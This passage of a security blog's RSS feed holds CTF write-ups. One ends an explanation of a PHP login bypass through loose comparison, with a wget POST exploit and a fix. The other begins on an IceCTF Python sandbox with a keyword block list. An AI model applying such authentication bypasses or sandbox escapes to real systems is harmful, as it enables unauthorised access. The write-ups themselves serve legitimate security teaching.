      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/[A-Z][a-z][0-9].*/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
         &lt;span class=&quot;nv&quot;&gt;$auth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;nv&quot;&gt;$auth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;challenge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Filter it&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$rand_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$passwd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
               &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;31337&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
                  &lt;span class=&quot;nv&quot;&gt;$passwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$rand_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$rand_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
               &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$database&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
               &lt;span class=&quot;s2&quot;&gt;&quot;Layer7&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$passwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
               &lt;span class=&quot;s2&quot;&gt;&quot;Admin0&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$passwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$database&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
               &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$passwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;flag is %s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Input Password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;highlight_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;PATH&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'index.php'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Input Username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;form method=post&amp;gt;&amp;lt;input type=text name=username&amp;gt;&amp;lt;input type=password name=password&amp;gt;&amp;lt;input type=submit value=Login&amp;gt;&amp;lt;/form&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;br&amp;gt;Message : %s!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;challenge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'username'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]));&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;analysis&quot;&gt;Analysis&lt;/h2&gt;

&lt;p&gt;Each time the php is run a new array &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$database&lt;/code&gt; is created storing the passwords of the two users: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Layer7&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin0&lt;/code&gt;. However, the password are composed by 31337 random characters, which makes the login page impossible to bruteforce or guess. If the password does not match, the password for the user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Layer7&lt;/code&gt; is printed, but since it will be regenerated the next time, this information is useless.&lt;/p&gt;

&lt;p&gt;Next we noted that the username is validated using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt; function, allowing only usernames which satisfy the following regex:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[A-Z][a-z][0-9].*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Layer7&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin0&lt;/code&gt; do not satisfy the regular expression, they are not even usable in the login form, so we have to look for something else.&lt;/p&gt;

&lt;p&gt;When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$username&lt;/code&gt; is not in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$database&lt;/code&gt; array, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$database[$username]&lt;/code&gt; returns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NULL&lt;/code&gt; value. Moreover, this value is compared to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$password&lt;/code&gt; using the PHP &lt;em&gt;loose comparison&lt;/em&gt; (PHP uses &lt;a href=&quot;http://php.net/manual/en/types.comparisons.php#types.comparisions-loose&quot;&gt;&lt;em&gt;loose comparison&lt;/em&gt;&lt;/a&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;==&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!=&lt;/code&gt;, while it uses &lt;a href=&quot;http://php.net/manual/en/types.comparisons.php#types.comparisions-strict&quot;&gt;&lt;em&gt;strict comparison&lt;/em&gt;&lt;/a&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;===&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!==&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The PHP loose comparison operator has a really strange behavior. This is its truth table:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/layer7-2015/loose.png&quot; alt=&quot;php loose comparison&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The highlighted row is used when one of the two operands is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NULL&lt;/code&gt;. Since we want the result to be &lt;em&gt;true&lt;/em&gt;, we need the password to be either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FALSE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NULL&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ARRAY&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;&quot;&lt;/code&gt;. So we can just provide an empty password and the comparison should be verified, giving the flag in return.&lt;/p&gt;

&lt;h3 id=&quot;exploit&quot;&gt;Exploit&lt;/h3&gt;

&lt;p&gt;We have to provide an username which verifies the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt; function (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Aa0&lt;/code&gt;) and an empty password, which is different from not providing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password&lt;/code&gt; field at all (otherwise the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isset&lt;/code&gt; would return false and the message &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Input Password&lt;/code&gt; would be displayed). We can use different tools to POST the needed data to the webpage. The easiest way is to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget -qO- http://prob.layer7.kr/login/index.php --post-data='username=Aa0&amp;amp;password='
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This gives the following output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;form method=post&amp;gt;&amp;lt;input type=text name=username&amp;gt;&amp;lt;input type=password name=password&amp;gt;&amp;lt;input type=submit value=Login&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;br&amp;gt;Message : flag is a52a12ec82efd713433b16aea3f32cae!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the flag is: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a52a12ec82efd713433b16aea3f32cae&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-to-improve-the-code&quot;&gt;How to improve the code?&lt;/h3&gt;

&lt;p&gt;The problem here is that &lt;em&gt;loose comparison&lt;/em&gt; tries to compare different types. The code could be improved using &lt;em&gt;strict comparison&lt;/em&gt;, which has the following truth table:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/layer7-2015/strict.png&quot; alt=&quot;php strict comparison&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since we have no way to pass a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NULL&lt;/code&gt; parameter through a form, that would have prevented the exploit.&lt;/p&gt;

</description>
        <pubDate>Sun, 30 Aug 2015 00:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/layer7-2015/2015/08/30/login.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/layer7-2015/2015/08/30/login.html</guid>
        
        <category>ctf</category>
        
        <category>web</category>
        
        
        <category>layer7-2015</category>
        
      </item>
    
      <item>
        <title>IceCTF 2015: PyShell</title>
        <description>&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/icectf2015/icectf.png&quot; alt=&quot;icectf&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;exploitation&lt;/em&gt; - Points: &lt;em&gt;100&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: &lt;em&gt;Daniel is running this server which allows you to evaluate basic python expressions. It’s clear that he’s tried to secure it though. Can you see if you can get it to print the flag?
You can access it by running&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc vuln2015.icec.tf 8000&lt;/code&gt; &lt;em&gt;.&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Hint: &lt;em&gt;Even if some keywords are banned, is that gonna stop you?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The task comes with the file &lt;a href=&quot;http://vimvaders.github.io/assets/icectf2015/shell.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell.py&lt;/code&gt;&lt;/a&gt; which is the source code of the webservice available at the specified location. The source is the following:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;__future__&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;print_function&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;banned&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;import&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;eval&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;pickle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;subprocess&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;input&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;banned&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;sys&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;targets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__builtins__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__dict__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;targets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'raw_input'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;targets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'print'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;targets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;del&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__builtins__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__dict__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;raw_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;no&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;banned&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;no&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lower&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lower&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;No bueno&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So we are provided with a shell and the user input is checked not to contain one of the &lt;em&gt;banned&lt;/em&gt; words before being passed to the &lt;a href=&quot;https://docs.python.org/2/reference/simple_stmts.html#exec&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt;&lt;/a&gt; function which dynamically execute the code.&lt;/p&gt;

&lt;p&gt;In order to increase the shell security, every element but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_input&lt;/code&gt; is removed from the &lt;a href=&quot;https://docs.python.org/2/reference/executionmodel.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__builtins__&lt;/code&gt;&lt;/a&gt; dictionary which contains the common functions.&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;This reminds us the &lt;em&gt;CSAW2014&lt;/em&gt; problem &lt;a href=&quot;https://github.com/ctfs/write-ups-2014/tree/master/csaw-ctf-2014/pybabbies&quot;&gt;&lt;em&gt;pybabbies&lt;/em&gt;&lt;/a&gt; and its solutions can be adapted to this task. There are a few write-ups for that task, but we can groups them in two categories:&lt;/p&gt;

